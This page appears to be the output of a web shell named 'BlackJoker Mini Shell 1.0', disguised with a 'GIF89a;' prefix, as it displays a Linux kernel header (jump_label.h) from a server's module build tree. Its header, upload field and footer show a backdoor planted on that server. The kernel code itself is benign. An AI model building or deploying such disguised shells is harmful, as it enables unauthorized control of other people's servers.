GIF89a; Mini Shell

Mini Shell

Direktori : /lib/modules/3.10.0-957.21.3.el7.centos.plus.x86_64/build/arch/x86/include/asm/
Upload File :
Current File : //lib/modules/3.10.0-957.21.3.el7.centos.plus.x86_64/build/arch/x86/include/asm/jump_label.h

#ifndef _ASM_X86_JUMP_LABEL_H
#define _ASM_X86_JUMP_LABEL_H

#define JUMP_LABEL_NOP_SIZE 5

#ifdef CONFIG_X86_64
# define STATIC_KEY_INIT_NOP P6_NOP5_ATOMIC
#else
# define STATIC_KEY_INIT_NOP GENERIC_NOP5_ATOMIC
#endif

#include <asm/nops.h>
#include <asm/asm.h>

#ifndef __ASSEMBLY__

#include <linux/stringify.h>
#include <linux/types.h>

static __always_inline bool arch_static_branch(struct static_key *key)
{
	asm_volatile_goto("1:"
		".byte " __stringify(STATIC_KEY_INIT_NOP) "\n\t"
		".pushsection __jump_table,  \"aw\" \n\t"
		_ASM_ALIGN "\n\t"
		_ASM_PTR "1b, %l[l_yes], %c0 \n\t"
		".popsection \n\t"
		: :  "i" (key) : : l_yes);
	return false;
l_yes:
	return true;
}

#ifdef CONFIG_X86_64
typedef u64 jump_label_t;
#else
typedef u32 jump_label_t;
#endif

struct jump_entry {
	jump_label_t code;
	jump_label_t target;
	jump_label_t key;
};

#else	/* __ASSEMBLY__ */

.macro STATIC_JUMP target, key
.Lstatic_jump_\@:
	.byte STATIC_KEY_INIT_NOP
	.pushsection __jump_table, "aw"
	_ASM_ALIGN
	_ASM_PTR	.Lstatic_jump_\@, \target, \key
	.popsection
.endm

#endif  /* __ASSEMBLY__ */
#endif

./BlackJoker Mini Shell 1.0